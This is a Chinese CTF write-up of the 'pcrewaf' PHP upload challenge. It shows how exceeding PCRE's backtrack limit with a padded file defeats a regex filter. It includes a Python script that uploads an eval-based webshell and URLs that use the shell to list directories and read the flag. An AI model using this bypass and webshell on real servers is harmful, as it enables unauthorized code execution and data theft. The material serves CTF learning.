Code-Breaking Puzzles easy - pcrewaf（正则特性）

r囧r小猫 2022-02-03 14:39 91阅读 0赞

**题目地址：[http://120.78.164.84:49002/][http_120.78.164.84_49002]**

<?php
    function is_php($data){
        return preg_match('/<\?.*[(`;?>].*/is', $data);
    }
    
    if(empty($_FILES)) {
        die(show_source(__FILE__));
    }
    
    $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
    $data = file_get_contents($_FILES['file']['tmp_name']);
    if (is_php($data)) {
        echo "bad request";
    } else {
        @mkdir($user_dir, 0755);
        $path = $user_dir . '/' . random_int(0, 10) . '.php';
        move_uploaded_file($_FILES['file']['tmp_name'], $path);
    
        header("Location: $path", true, 303);
    } 1

**这道题的难点就在于 is\_php($data) 验证，包含了所有正常的php代码。**

**我们需要用php中正则的最大回溯次数（pcre.backtrack\_limit）使正则失效，从而导致 is\_php() 返回false。**

**那么解题的思路就很清晰了，只要上传一个超长的字符串的文件，就可以绕过这个正则表达式了。**

[![20181215180103-54ff9b3e-0050-1.png][]][20181215180103-54ff9b3e-0050-1.png]

### **PHP** ###

[![20181215201327-d3c742e8-0062-1.png][]][20181215201327-d3c742e8-0062-1.png]

[![20181215180121-5f9bd224-0050-1.png][]][20181215180121-5f9bd224-0050-1.png]

[![20181215180201-775945b8-0050-1.png][]][20181215180201-775945b8-0050-1.png]

### **Python** ###

**preg\_match的绕过可以参考[这里][Link 1]**

import requests
    from io import BytesIO
    
    files = {
      'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
    }
    
    res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
    print(res.headers)

http://120.78.164.84:49002/data/8c4dcac36b233309494cce7e20ee645d/3.php?a=print_r(scandir('../../../'));
    http://120.78.164.84:49002/data/8c4dcac36b233309494cce7e20ee645d/3.php?a=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

[http_120.78.164.84_49002]: http://120.78.164.84:49002/
[20181215180103-54ff9b3e-0050-1.png]: /images/20220203/2f5018cecdf74c0581ced721b5c1dbe7.png
[20181215201327-d3c742e8-0062-1.png]: /images/20220203/f99a449b86bf485ab1536d4d9cea7172.png
[20181215180121-5f9bd224-0050-1.png]: /images/20220203/c1d7f5353bc042acbdee6d1fabdf7caf.png
[20181215180201-775945b8-0050-1.png]: /images/20220203/339a1131cdc8408aa6350355ec6da99e.png
[Link 1]: https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html